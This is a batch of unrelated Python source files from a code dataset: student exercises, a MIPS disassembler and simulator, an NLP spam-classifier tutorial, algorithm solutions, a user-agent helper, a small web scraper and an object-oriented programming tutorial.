+{"seq_id":"559585905","text":"# a) Lag et program som regner ut funksjonsverdien 𝑃(𝑥)=𝑥^4−5𝑥^2+4 for en verdi 𝑥_0 gitt av brukeren. \n# Programmet skal skrive ut en melding om (𝑥−𝑥_0) er en faktor i 𝑃(𝑥), eller ikke.\n\ni = 0\n\nwhile i<1:\n\tx = int(input(\"Skriv inn en x-verdi: \"))\n\tif (x > 0):\n\t\tif (x**4 - 5*x**2 + 4 == 0):\n\t\t\tprint(\"(x-\" + str(x) + \") er en faktor\")\n\t\t\ti = 1\n\t\telse:\n\t\t\tprint(\"(x-\" + str(x) + \") er ikke en faktor\")\n\telse:\n\t\tif (x**4 - 5*x**2 + 4 == 0):\n\t\t\tprint(\"(x+\" + str(abs(x)) + \") er en faktor\")\n\t\t\ti = 1\n\t\telse:\n\t\t\tprint(\"(x+\" + str(abs(x)) + \") er ikke en faktor\")\n","sub_path":"2019/37/Oppgave 3.1-3.6.py/Oppgave 3.5.py","file_name":"Oppgave 3.5.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"60560861","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/10/27 21:38\n# @Author : Zcc\n# @File : MIPSsim.py\n# @note :On my honor, I have neither given nor received unauthorized aid on this assignment.\n\nimport sys\n#基准地址\nBEGIN_ADDR = 256\n#指令长度\nINSTRUCTION_LEN = 4\n#数据长度\nDATA_LEN = 4\n#数据字长\nBIN_DATA_LEN = 32\n\n#存放寄存器当前的值\nregisters = [\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0\n]\n#以字典形式,存放汇编指令,格式是 指令地址: 指令 eg:256: 'ADD R1, R0, R0'\ninstruction = {}\n#以字典形式,存放数据,格式是 数据地址:数据 eg:348: -3\ndata = {}\n\n#category-1指令转换\n#'xxxx'匹配,则进入到对应的函数中,将机器码对应的翻译出汇编指令,返回一个字符串,注意机器码翻译出来的寄存器的顺序有些不同\n#J,BEQ,BLTZ,BGTZ的立即数要经过处理才能用\ncategory_1 = {\n '0000': lambda bin_instr: 'J #%d' %(int(bin_instr[6:32]+'00', 2)), #imm 意义为无条件跳转到指定pc地址(pc地址无负号,所以是无符号数)\n '0001': lambda bin_instr: 'JR R%d' %(int(bin_instr[6:11], 2)), #rs 意义为无条件跳转到指定pc地址,地址存放在寄存器中\n '0010': lambda bin_instr: 'BEQ R%d, R%d, #%d' %(int(bin_instr[6:11], 2), int(bin_instr[11:16], 2), bin2dec(bin_instr[16:32]+'00')), #rs rt off -> rs rt off 意义为若rs = rt 就基于此跳转off量(off是signed)\n '0011': lambda bin_instr: 'BLTZ R%d, #%d' %(int(bin_instr[6:11], 2), bin2dec(bin_instr[16:32]+'00')), #rs off -> rs off 意义为若rs < 0,就基于此跳转off量(off是signed)\n '0100': lambda bin_instr: 'BGTZ R%d, #%d' %(int(bin_instr[6:11], 2), bin2dec(bin_instr[16:32]+'00')), #rs off -> rs off 意义为若rs > 0,就基于此跳转off量(off是signed)\n '0101': lambda bin_instr: 'BREAK',\n '0110': lambda bin_instr: 'SW R%d, %d(R%d)' %(int(bin_instr[11:16], 2), bin2dec(bin_instr[16:32]), int(bin_instr[6:11],2)), #base rt off -> rt off(base) base is a register 意义为将寄存器的值存放在内存中(off是signed)\n '0111': lambda bin_instr: 'LW R%d, %d(R%d)' %(int(bin_instr[11:16], 2), bin2dec(bin_instr[16:32]), int(bin_instr[6:11],2)), #base rt off -> rt off(base) base is a register 意义为将内存中的值存放在寄存器(off是signed)\n '1000': lambda bin_instr: 'SLL R%d, R%d, #%d' %(int(bin_instr[16:21], 2), int(bin_instr[11:16], 2), int(bin_instr[21:26], 2)), #rt rd sa -> rd rt sa sa是无符号数 rt向左逻辑移位sa位(空出来的位,补0)\n '1001': lambda bin_instr: 'SRL R%d, R%d, #%d' %(int(bin_instr[16:21], 2), int(bin_instr[11:16], 2), int(bin_instr[21:26], 2)), #rt rd sa -> rd rt sa sa是无符号数 rt向右逻辑移位sa位(空出来的位,补0)\n '1010': lambda bin_instr: 'SRA R%d, R%d, #%d' %(int(bin_instr[16:21], 2), int(bin_instr[11:16], 2), int(bin_instr[21:26], 2)), #rt rd sa -> rd rt sa sa是无符号数 rt向右算术移位sa位(空出来的位,补符号数)\n '1011': lambda bin_instr: 'NOP'\n}\n#category-2指令转换\n#'xxxx'匹配,则进入到对应的函数中,将机器码对应的翻译出汇编指令,返回一个字符串,注意机器码翻译出来的操作对象的顺序有些不同\n#逻辑运算指令,注意翻译出来的寄存器编号的顺序\ncategory_2 = {\n '0000': lambda bin_instr: 'ADD R%d, R%d, R%d' %(int(bin_instr[16:21], 2), int(bin_instr[6:11], 2), int(bin_instr[11:16], 2)), #rs rt rd -> rd rs rt 意义为 rd <- rs + rt\n '0001': lambda bin_instr: 'SUB R%d, R%d, R%d' %(int(bin_instr[16:21], 2), int(bin_instr[6:11], 2), int(bin_instr[11:16], 2)), #rs rt rd -> rd rs rt 意义为 rd <- rs - rt\n '0010': lambda bin_instr: 'MUL R%d, R%d, R%d' %(int(bin_instr[16:21], 2), int(bin_instr[6:11], 2), int(bin_instr[11:16], 2)), #rs rt rd -> rd rs rt 意义为 rd <- rs * rt\n '0011': lambda bin_instr: 'AND R%d, R%d, R%d' %(int(bin_instr[16:21], 2), int(bin_instr[6:11], 2), int(bin_instr[11:16], 2)), #rs rt rd -> rd rs rt 意义为 rd <- rs and rt\n '0100': lambda bin_instr: 'OR R%d, R%d, R%d' %(int(bin_instr[16:21], 2), int(bin_instr[6:11], 2), int(bin_instr[11:16], 2)), #rs rt rd -> rd rs rt 意义为 rd <- rs or rt\n '0101': lambda bin_instr: 'XOR R%d, R%d, R%d' %(int(bin_instr[16:21], 2), int(bin_instr[6:11], 2), int(bin_instr[11:16], 2)), #rs rt rd -> rd rs rt 意义为 rd <- rs xor rt\n '0110': lambda bin_instr: 'NOR R%d, R%d, R%d' %(int(bin_instr[16:21], 2), int(bin_instr[6:11], 2), int(bin_instr[11:16], 2)), #rs rt rd -> rd rs rt 意义为 rd <- rs nor rt\n '0111': lambda bin_instr: 'SLT R%d, R%d, R%d' %(int(bin_instr[16:21], 2), int(bin_instr[6:11], 2), int(bin_instr[11:16], 2)), #rs rt rd -> rd rs rt 意义为若 rs < rt 返回1->rd 否则返回0->rd\n '1000': lambda bin_instr: 'ADDI R%d, R%d, #%d' %(int(bin_instr[11:16], 2), int(bin_instr[6:11], 2), bin2dec(bin_instr[16:32])), #rs rt imm ->rt rs imm 意义为 rt <- rs + imm(signed)\n '1001': lambda bin_instr: 'ANDI R%d, R%d, #%d' %(int(bin_instr[11:16], 2), int(bin_instr[6:11], 2), int(bin_instr[16:32], 2)), #rs rt imm ->rt rs imm 意义为 rt <- rs and imm(是16位,左边扩展16位,以对齐,本质上是无符号数,但是翻译还是当成符号数翻译)\n '1010': lambda bin_instr: 'ORI R%d, R%d, #%d' %(int(bin_instr[11:16], 2), int(bin_instr[6:11], 2), int(bin_instr[16:32], 2)), #rs rt imm ->rt rs imm 意义为 rt <- rs or imm(是16位,左边扩展16位,以对齐,本质上是无符号数)\n '1011': lambda bin_instr: 'XORI R%d, R%d, #%d' %(int(bin_instr[11:16], 2), int(bin_instr[6:11], 2), int(bin_instr[16:32], 2)), #rs rt imm ->rt rs imm 意义为 rt <- rs xor imm(是16位,左边扩展16位,以对齐,本质上是无符号数)\n}\n#区分category-1和category-2,根据指令最前面2位,分别进入到不同的函数中\ninstruction = {\n '01': lambda bin_instr: category_1[bin_instr[2:6]](bin_instr), #category-1根据指令的2-5位(共4位),判断具体是哪个指令\n '11': lambda bin_instr: category_2[bin_instr[2:6]](bin_instr), #category-2\n}\n\n#模拟计算机对category-2中的 算术逻辑指令 进行具体操作\nsimluation_cate_2 = {\n \"ADD\": lambda rs,rt: rs + rt, #寄存器加操作 rs + rt -> rd\n \"SUB\": lambda rs,rt: rs - rt, #寄存器减操作 rs - rt -> rd\n \"MUL\": lambda rs, rt: rs * rt, #寄存器乘操作 rs * rt -> rd\n \"AND\": lambda rs, rt: rs & rt, #寄存器与操作 rs & rt -> rd\n \"OR\": lambda rs, rt: rs | rt, #寄存器或操作\n \"XOR\": lambda rs, rt: rs ^ rt, #寄存器异或操作\n \"NOR\": lambda rs, rt: ~(rs | rt), #寄存器或非操作\n \"SLT\": lambda rs, rt: 1 if rs < rt else 0, #寄存器值比较操作 如果rs < rt,返回1;反之,返回0\n \"ADDI\": lambda rs, imm: rs + imm, #寄存器+立即数操作\n \"ANDI\": lambda rs, imm: rs & imm, #寄存器-立即数操作\n \"ORI\": lambda rs, imm: rs | imm, #寄存器或立即数操作\n \"XORI\": lambda rs, imm: rs ^ imm #寄存器异或立即数操作\n}\n\n#参数:二进制数字\n#将补码的二进制数字转换成十进制数\ndef bin2dec(bin_num):\n if bin_num[0] == '0': #如果首位为0,为非负数\n dec_num = int(bin_num[1:],2) #直接调用函数\n else: #如果首位为1,则为负数,先取反,再+1,获得负数的原码,然后再翻译,注意前面有个负号\n revers_num = ''\n for num in bin_num[1:]:\n if num == \"0\":\n revers_num += \"1\"\n else:\n revers_num += \"0\"\n dec_num = -(int(revers_num,2) + 1)\n return dec_num\n\n#参数:十进制数字,移动方向,移动位数\n#将寄存器中的十进制数字转换位补码的二进制数,再进行逻辑移位操作,再将其变成十进制数字返回\n#返回:移位好的十进制数字\ndef move_logic(dec_num, move_direct, move_num):\n move_bin = \"\"\n if dec_num < 0: #先判断十进制数是正数or负数\n dec_num += 1\n bin_dec = bin(dec_num) #先将其转换为二进制 -0bxxxxx\n bin_dec = bin_dec.replace(\"-0b\", \"\") #将前缀去掉\n rev_bin = \"\"\n for i in range(0, BIN_DATA_LEN - len(bin_dec)):\n rev_bin += \"1\" #将前面不足的位数,用符号位(1)补足\n for num in bin_dec: #变成补码形式\n if num == '1':\n rev_bin += '0'\n else:\n rev_bin += '1'\n else:\n bin_dec = bin(dec_num)\n bin_dec = bin_dec.replace(\"0b\", \"\")\n rev_bin = \"\"\n for i in range(0, BIN_DATA_LEN - len(bin_dec)): #将前面补足的位数,用符号位(0)补足\n rev_bin += \"0\"\n rev_bin += bin_dec\n\n if move_direct == \"left\": #判断移位方向\n move_bin += rev_bin[move_num:] #根据移动位数,取后面的32-num位,前面的num放弃\n for i in range(0, move_num): #用0补足后面的num位数\n move_bin += '0'\n if move_direct == \"right\":\n for i in range(0, move_num): #用0补足前面的num位\n move_bin += '0'\n for i in range(0, BIN_DATA_LEN - move_num): #取前面的32-num位,后面的num位放弃\n move_bin += rev_bin[i]\n return bin2dec(move_bin)\n#翻译机器指令变成汇编语句的函数\n#参数:全部的机器码\n#返回值:机器指令+指令地址+翻译出来的汇编 按照指定的格式输出\ndef handle_code(binary_code):\n current_loc = BEGIN_ADDR #current_loc保存当前指令存放的地址,第一个地址就是题目指定的初始地址\n flag_code = True #判断当前译码的是指令还是数据\n assembly_code = '' #存放完成译码的指令或是数据\n for bin_instr in binary_code.split('\\n'): #将指令一条一条的读取,以\\n作为指令之间的分界\n #print(bin_instr)\n if bin_instr == '': #最后一行是空格,如果继续处理会报错,所以将之排除\n continue\n if flag_code: #当在处理指令时\n tran_ass = instruction[bin_instr[0:2]](bin_instr) #翻译指令:先根据机器码的前2位,判断是 算术逻辑指令or 非算术逻辑指令 -> 进入到不同的指令处理区\n assembly_code += \"%s\\t%d\\t%s\\n\" %(bin_instr, current_loc, tran_ass) #按照指定格式存放,每一行三列:原机器码\\t指令存放的位置\\t汇编指令\n instruction[current_loc] = tran_ass #将翻译好的汇编指令存放在字典中,方便后面仿真的时候调用 指令地址: 指令名\n if tran_ass == \"BREAK\": #如果当前读取的是BREAK指令,意味着后面就是数据区了\n flag_code = False\n data_loc = current_loc + INSTRUCTION_LEN #数据指示地址,在处理数据时需要用到\n global data_addr\n data_addr = data_loc #获得数据基地址,为一个全局变量,以方便其他函数调用\n current_loc += INSTRUCTION_LEN #更新当前指令地址\n #print(tran_ass)\n else:\n dec_num = bin2dec(bin_instr) #将二进制的补码翻译成十进制数字\n assembly_code += \"%s\\t%d\\t%s\\n\" % (bin_instr, current_loc, dec_num) #按照指定格式存放,每一行三列:原机器码\\t指令存放的位置\\t汇编指令\n data[data_loc] = dec_num #将翻译好的数据存放在字典中,方便后面仿真的时候调用 数据地址:数据\n data_loc += DATA_LEN\n current_loc += DATA_LEN #更新当前指令存放\n return assembly_code\n\n#参数:每一条指令,当前的PC值\n#计算机模拟每一条不同的指令的执行过程\n#返回执行该指令后pc的值和break标志\ndef execute_instr(instr, pc):\n flag_break = False #判断程序是否终止的标志,是出现BREAK,就意味着程序终止了; True:程序终止;False:程序未终止\n instr_part = instr.replace(', ', ' ').split(' ') #将指令进行切割,执行数之间是通过“,”相隔,而执行数和操作数之间是通过空格,所以统一换成空格,再进行切割\n if instr_part[0] in (\"ADD\", \"SUB\", \"MUL\", \"AND\", \"OR\", \"XOR\", \"NOR\", \"SLT\"): #若操作指令是 寄存器算术逻辑指令 的一个 格式统一为 operand rd,rs,rt (ADD R2,R1,R5)\n rs_data = registers[int(instr_part[2].replace(\"R\",\"\"))] #获取当前rs寄存器中的值,eg:\"R6\" -> \"6\" -> 6 -> register[6]\n rt_data = registers[int(instr_part[3].replace(\"R\",\"\"))] #获取当前rt寄存器中的值,\"R4\"\n rd_data = simluation_cate_2[instr_part[0]](rs_data, rt_data) #得到rs、rt操作后的值,存放在rd_data中\n registers[int(instr_part[1].replace(\"R\",\"\"))] = rd_data #将rd_data的值传入register[rd]中\n pc += INSTRUCTION_LEN #pc向下移位\n\n elif instr_part[0] in (\"ADDI\", \"ANDI\", \"ORI\", \"XORI\"): #若操作指令是 寄存器-立即数算术逻辑指令 的一个 格式统一为 operand rd rs imm (ADDI R2,R4,#34)\n rs_data = registers[int(instr_part[2].replace(\"R\",\"\"))] #获取register[rs]\n imm_data = int(instr_part[3].replace(\"#\", \"\")) #获取立即数的值\n rd_data = simluation_cate_2[instr_part[0]](rs_data, imm_data) #将rs、imm操作后的值,存放在rd_data中\n registers[int(instr_part[1].replace(\"R\",\"\"))] = rd_data #将rd_data的值传入register[rd]中\n pc += INSTRUCTION_LEN #pc向下移动\n\n elif instr_part[0] == 'J': #无条件转移,立即数为操作数 operand imm -> J #340\n pc = int(instr_part[1].replace(\"#\",\"\"))\n elif instr_part[0] == 'JR': #无条件转移,寄存器值为操作数 operand imm -> JR R3\n pc = registers[int(instr_part[1].replace(\"R\",\"\"))]\n elif instr_part[0] == 'BEQ': #相等即跳转,否则不跳转;先执行后跳转,且跳转在pc的基础上进行的。pc+4是一定会执行的 operand rs rt off -> BEQ R3,R5,#23\n rs_data = registers[int(instr_part[1].replace(\"R\",\"\"))] #获取register[rs]\n rt_data = registers[int(instr_part[2].replace(\"R\",\"\"))] #获取register[rt]\n offset = int(instr_part[3].replace(\"#\",\"\")) #获取偏移量\n pc += INSTRUCTION_LEN #pc向下移动\n if rs_data == rt_data: #若register[rs]、register[rt]相等,就跳转\n pc += offset\n elif instr_part[0] in ('BLTZ','BGTZ'): #register[rs]<0/register[rs]>0 即跳转,否则不跳转; operand rs off -> BLTZ R4,#23/BGTZ R4,#23\n rs_data = registers[int(instr_part[1].replace(\"R\",\"\"))] #获取register[rs]\n offset = int(instr_part[2].replace(\"#\",\"\")) #获取偏移量\n pc += INSTRUCTION_LEN #pc向下移动\n if instr_part[0] == 'BLTZ': #若为BLTZ,即小于0就跳转\n if rs_data < 0:\n pc += offset\n else: #若为BGTZ,即大于0就跳转\n if rs_data > 0:\n pc += offset\n elif instr_part[0] == 'BREAK': #出现BREAK,就将标志致为True\n flag_break = True\n elif instr_part[0] in ('SW','LW'): #寄存器的值存放到memory中/将memory的值存放在寄存器中 operand rt off(base) -> SW R3,#356(R4)/LW R5,#380(R4) ->memory[356+R4] = R3/ R5 = memory[380+R4]\n rt = int(instr_part[1].replace(\"R\",\"\")) #获取rt\n mix = instr_part[2].split('(') # 形如 #380(R5) 进行切割 mix=[\"#380\", \"R5)\"]\n offset = int(mix[0].replace(\"#\",\"\")) #获得偏移量\n base_data = registers[int(mix[1].replace(\"R\",\"\").replace(\")\",\"\"))] #将\"R5)\" -> \"5)\" ->\"5\" ->5 -> register[5]\n if instr_part[0] == \"SW\": #如果为SW,store\n data[offset + base_data] = registers[rt] #寄存器的值存放在data对应的位置\n else: #如果为LW,load\n registers[rt] = data[offset + base_data] #data对应位置的值存放在寄存器中\n pc += INSTRUCTION_LEN\n elif instr_part[0] in ('SLL', 'SRL', 'SRA'): #移位操作 SLL/SRL/SRA 逻辑左移/逻辑右移/算术右移(先逻辑右移,再把最高为复制) operand rd rt sa -> SLL R3,R4,#2/SRL R5,R6,#3/SRA R1,R16,#2\n rt = int(instr_part[2].replace(\"R\",\"\")) #获取rt\n rd = int(instr_part[1].replace(\"R\",\"\")) #获取rd\n sa = int(instr_part[3].replace(\"#\",\"\")) #获取sa\n if instr_part[0] == 'SLL':\n registers[rd] = move_logic(registers[rt], \"left\", sa) #逻辑左移,并赋值\n elif instr_part[0] == 'SRL':\n registers[rd] = move_logic(registers[rt], \"right\", sa) #逻辑右移并赋值\n else:\n registers[rd] = registers[rt] >> sa #算术右移\n pc += INSTRUCTION_LEN\n elif instr_part[0] == 'NOP': #不进行任何操作\n pc += INSTRUCTION_LEN\n return pc, flag_break\n\n#将执行过程按照指定要求输出\n#参数:当前执行步数,当前pc值\n#返回:str格式的输出formated_output\ndef format_output(cycle, pc):\n output = \"\"\n output += \"--------------------\\nCycle:%d\\t%d\\t%s\\n\\nRegisters\\n\" %(cycle, pc, instruction[pc])\n output+= \"R00:\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\n\" \\\n \"R08:\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\n\" \\\n \"R16:\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\n\" \\\n \"R24:\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\n\\nData\\n\" %(tuple(registers))\n data_output = \"\"\n i = 0\n data_loc = data_addr\n for data_v in data.values():\n if i == 0 or i % 8 == 0:\n data_output += str(data_loc)+':\\t%d\\t' %(data_v)\n elif i % 8 == 7 and i != 0:\n data_output +='%d\\n' %(data_v)\n else:\n data_output += '%d\\t' %(data_v)\n data_loc += DATA_LEN\n i += 1\n if i % 8 != 0:\n output += data_output + '\\n' + '\\n'\n else:\n output += data_output+'\\n'\n return output\n\n#模拟计算机执行汇编指令\n#参数:无\n#返回:str格式输出的,按照格式要求的所有执行结果的format_simu_output\ndef simulate_instruction():\n cycle = 1 #记录执行的步数\n pc = BEGIN_ADDR #pc存放的是指令位置\n format_simu_output = \"\"\n while True:\n format_simu_output += format_output(cycle, pc)\n pc, break_flag = execute_instr(instruction[pc], pc) #执行pc指向的指令,返回pc的位置和break标志\n if break_flag: #如果break_flag = True,就跳出循环\n #print(\"in\")\n break\n cycle += 1\n\n return format_simu_output\n\n#参数:输出的内容,文件路径\n#将输出的内容,写入文件\ndef write_file(output, file_path):\n try:\n out_file = open(file_path,\"w\") #可写形式,打开文件\n except:\n print(\"can't open the file!\") #打不开抛出异常,程序结束\n sys.exit(1)\n try:\n out_file.write(output) #写入内容\n except:\n print(\"can't write to the file!\") #写不了抛出异常,程序结束\n sys.exit(1)\n finally:\n out_file.close() #关闭文件\n\n#参数:文件路径;\n#返回:文件内容,str格式\n#打开文件\ndef read_File(file_path):\n try:\n binary_file = open(file_path, \"r\") #只读形式,打开文件\n except:\n print(\"can't open the file!\") #打不开则抛出异常,程序结束\n sys.exit(1)\n try:\n binary_code = binary_file.read() #读取文件内容,存放在binary_code中\n except:\n print(\"can't read the file!\") #读不了则抛出异常,程序结束\n sys.exit(1)\n finally:\n binary_file.close() #将文件关闭\n #print(binary_code)\n return binary_code\n\nif __name__ == '__main__':\n filename = sys.argv; #用户自行输入需要译码的文件名字\n binary_code = read_File(filename[1]) #读取存放机器指令的文件\n assemble_code = handle_code(binary_code) #处理读取出来的机器指令进行反汇编\n write_file(assemble_code,'./disassembly.txt') #将翻译好的汇编指令写入指定文件\n simulation_output = simulate_instruction()\n write_file(simulation_output,'./simulation.txt')","sub_path":"comp-arch-proj1/MIPSsim.py","file_name":"MIPSsim.py","file_ext":"py","file_size_in_byte":23492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"575670161","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport nltk\nfrom nltk.corpus import stopwords\n\nfrom sklearn.model_selection import train_test_split as TTS\n\nfrom sklearn.pipeline import Pipeline\n\nfrom sklearn.feature_extraction.text import CountVectorizer as CV\nfrom sklearn.feature_extraction.text import TfidfTransformer as TT\n\nfrom sklearn.naive_bayes import MultinomialNB as MNB\n\nfrom sklearn.metrics import classification_report as CR\n\nimport string\n\nplt.style.use('ggplot')\n\ndir=\"Bootcamp/NaturalLanguageProcessing/\"\n\ndf = pd.read_csv(dir+'smsspamcollection/SMSSpamCollection',sep='\\t',names=['label','msg'])\n\nprint(df.head())\nprint(df.describe())\n\n# PART 1 - EXPLORE\nprint(df.groupby('label').describe())\n\n# CREATE COLUMN FOR MESSAGE LENGTH\ndf['length'] = df['msg'].apply(len)\n\n# sns.distplot(df['length'])\n# plt.show()\n\n# PRINT THE LONGEST MESSAGE\nprint(df[df['length'] == 910]['msg'].iloc[0])\n\n# EVALUATE MESSAGE LENGTH BY SPAM/HAM\n# df.hist(column='length',by='label',bins=30,figsize=(12,6))\n# plt.show()\n\n# PART 2 - CLEANING THE TEXT\n# EXAMPLE MESSAGE WITH PUNCTUATION\nmess = \"Sample message! Notice: it has punctuation.\"\n\n# REMMOVE PUNCTUATION AND PUT IN LIST\nnopunc = [c for c in mess if c not in string.punctuation]\n# AND JOIN TO STRING\nnopunc = ''.join(nopunc)\n# AND PRINT\nprint(nopunc)\n\n# STOP WORDS - WORDS ONE WOULD COMMONLY REMOVE\nsw = stopwords.words('english')\n\n# CLEAN UP MESS\nclean_mess = [word for word in nopunc.split() if word.lower() not in sw]\nprint(clean_mess)\n\n# CREATE FUNCTION FOR CLEANING UP MESSAGES\ndef text_process(mess):\n\tnp = ''.join([c for c in mess if c not in string.punctuation])\n\treturn [word.lower() for word in np.split() if word.lower() not in sw]\n\n\n# EXAMPLE CLEAN OF HEAD OF MESSAGES\nprint(df['msg'].head(5).apply(text_process))\n\n# INSTANTIATE COUNT VECTORIZER AND FIT\nbow_transformer = CV().fit(df['msg'])\n\n# LENGTH OF VOCABULARY IN VECTORIZER\nprint(len(bow_transformer.vocabulary_))\n\n# GET MESSAGE NUMBER 4 UNANLTERED\nmess4 = df['msg'].iloc[3]\nprint(mess4)\n\n# GET BAG OF WORDS FROM THE FITTED TRANSFORMER (VECTORIZER)\nbow4 = bow_transformer.transform([mess4])\nprint(bow4)\n\nprint(bow4.shape)\n\n# SEE THE WORDS WHICH WHERE IN THE MESSAGE TWICE (THESE RESULTS ARE DIFFERENT FROM THE LECTURE - I SUSPECT THAT SCIKITLEARN WAS SIMPLY UPDATED)\nprint(bow_transformer.get_feature_names()[6679])\n\n# PART 3 - PROCESSING\n# TRANSFORM THE ENTIRE MESSAGES COLUMN\nmessages_bow = bow_transformer.transform(df['msg'])\n\n# PRINT CHARACTERISTICS\nprint(messages_bow.shape)\nprint(messages_bow.nnz)\n\n# THE SPARSITY CALCULATION\nsparsity = (100.0 * messages_bow.nnz / (messages_bow.shape[0] * messages_bow.shape[1]))\nprint(sparsity)\n\n# TFIDF TRANSFORMATION\ntt = TT().fit(messages_bow)\ntfidf4 = tt.transform(bow4)\n\nprint(tfidf4)\n\n# TFIDF TRANSFORMATION OF BOW TRANSFORMATION (THE COUNT VECTORIZED MESSAGES)\nmessages_tfidf = tt.transform(messages_bow)\n\n# NAIVE BAYES\nspam_detect_model = MNB().fit(messages_tfidf,df['label'])\npred4 = spam_detect_model.predict(tfidf4)[0]\nprint(pred4)\n\npred = spam_detect_model.predict(messages_tfidf)\n\nrate = np.mean(pred == df['label'])\nprint(\"Rate: {}\\n\".format(rate))\n\n# TRAIN AND TEST\nmsg_train,msg_test,label_train,label_test = TTS(df['msg'],df['label'],test_size=0.3,random_state=64)\n\n# PIPELINE - A WAY TO STORE DATA PREPARATION PIPELINE\npipe = Pipeline([\n\t('bow',CV(analyzer=text_process)), # COUNT VECTORIZER\n\t('tfidf',TT()), # TFIDF TRANSFORMER\n\t('classifier',MNB())\n])\n\n# FIT AND PREDICT - BUSINESS AS USUAL\npipe.fit(msg_train,label_train)\n\npred_pipe = pipe.predict(msg_test)\n\nrate = np.mean(pred_pipe == label_test)\nprint(\"Rate: {}\\n\".format(rate))\n\nprint(CR(label_test,pred_pipe))","sub_path":"NaturalLanguageProcessing/NLPLecture.py","file_name":"NLPLecture.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"570110960","text":"# Given the root of a binary tree, return the inorder traversal of its nodes' values.\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n def inorderTraversal(self, root: TreeNode) -> list:\n stack = []\n \n def helper(node):\n if not node:\n return\n \n helper(node.left)\n stack.append(node.val)\n helper(node.right)\n \n helper(root)\n \n print(stack)\n return stack","sub_path":"58.Binary_Tree_Inorder_Traversal.py","file_name":"58.Binary_Tree_Inorder_Traversal.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"266417121","text":"# Project Euler Problem 4\r\n# finding the largest palindrome made from the product of two 3-digit numbers\r\n\r\npalin = 0\r\nnum = 0\r\nnumstr = \"\"\r\n\r\n\r\nfor i in range(100, 1000):\r\n for j in range(100, 1000):\r\n num = i*j\r\n numstr = str(num)\r\n if numstr[:int(len(numstr)/2)] == numstr[-1*int(len(numstr)/2):][::-1]:\r\n if num > palin:\r\n palin = num\r\n\r\nprint(palin)\r\n","sub_path":"Python/Problems 1-50/Problem 4.py","file_name":"Problem 4.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"293418591","text":"import sys\nimport os\n\n__version__ = '1.0.0'\n__nameapp__ = 'MyApp'\n\n\ndef opener_agent():\n app_agent = __nameapp__ + '/' + __version__\n if os.name == 'nt':\n app_agent += ' ({} {} {} {})'.format('Windows',\n os.name,\n \"Python\",\n \".\".join(map(str, sys.version_info[:3])))\n else:\n app_agent += ' ({} {} {} {})'.format(os.uname()[0],\n os.uname()[2],\n \"Python\",\n \".\".join(map(str, sys.version_info[:3])))\n return app_agent","sub_path":"urlopener/useragent.py","file_name":"useragent.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"584737733","text":"import bs4, requests\n\npage = requests.get('https://www.librarything.com/z_books.php')\npage.raise_for_status()\n\nfilename = 'books.php'\nwith open(filename, 'wb') as file:\n for chunk in page.iter_content(100000):\n file.write(chunk)\n\nwith open(filename, encoding='utf-8') as file:\n soupFile = bs4.BeautifulSoup(file, \"html.parser\")\n data = soupFile.select('td[width=\"60%\"] li')\n","sub_path":"webscrapeBookData.py","file_name":"webscrapeBookData.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"650009932","text":"# 面向对象\n\"\"\"员工类\"\"\"\n\n\nclass Employee:\n \"\"\"类变量\"\"\"\n empNum = 0;\n \"\"\"构造函数\"\"\"\n\n def __init__(self, name, age):\n self.name = name;\n self.age = age;\n Employee.empNum += 1;\n\n def displayCount(self):\n print(\"员工总数为:%d\" % Employee.empNum)\n\n def toString(self):\n print(\"name:\", self.name, \"age:\", self.age);\n\n\nemployee = Employee(\"zhangsan\", 23);\nemployee.toString()\n\n\n# 注:self 相当于this;\n\n# 类的继承\nclass Parent:\n count = 10;\n # _foo: 以单下划线开头的表示的是 protected 类型的变量,即保护类型只能允许其本身与子类进行访问,不能用于 from module import *\n _key = 11;\n # __foo: 双下划线的表示的是私有类型(private)的变量, 只能是允许这个类本身进行访问了。\n __oldName = \"hahha\";\n\n def __init__(self, name):\n self.name = name;\n\n\nclass Child(Parent):\n def __init__(self, name, age):\n self.name = name;\n self.age = age;\n\n\nchild = Child(\"zhagnsan\", 23);\ncount = child.count\nprint(\"来自父类:\", count)\nkey = child._key\n# name = child.__oldName\nprint(\"hhhhh:\", key)\n","sub_path":"python-Django/class.py","file_name":"class.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
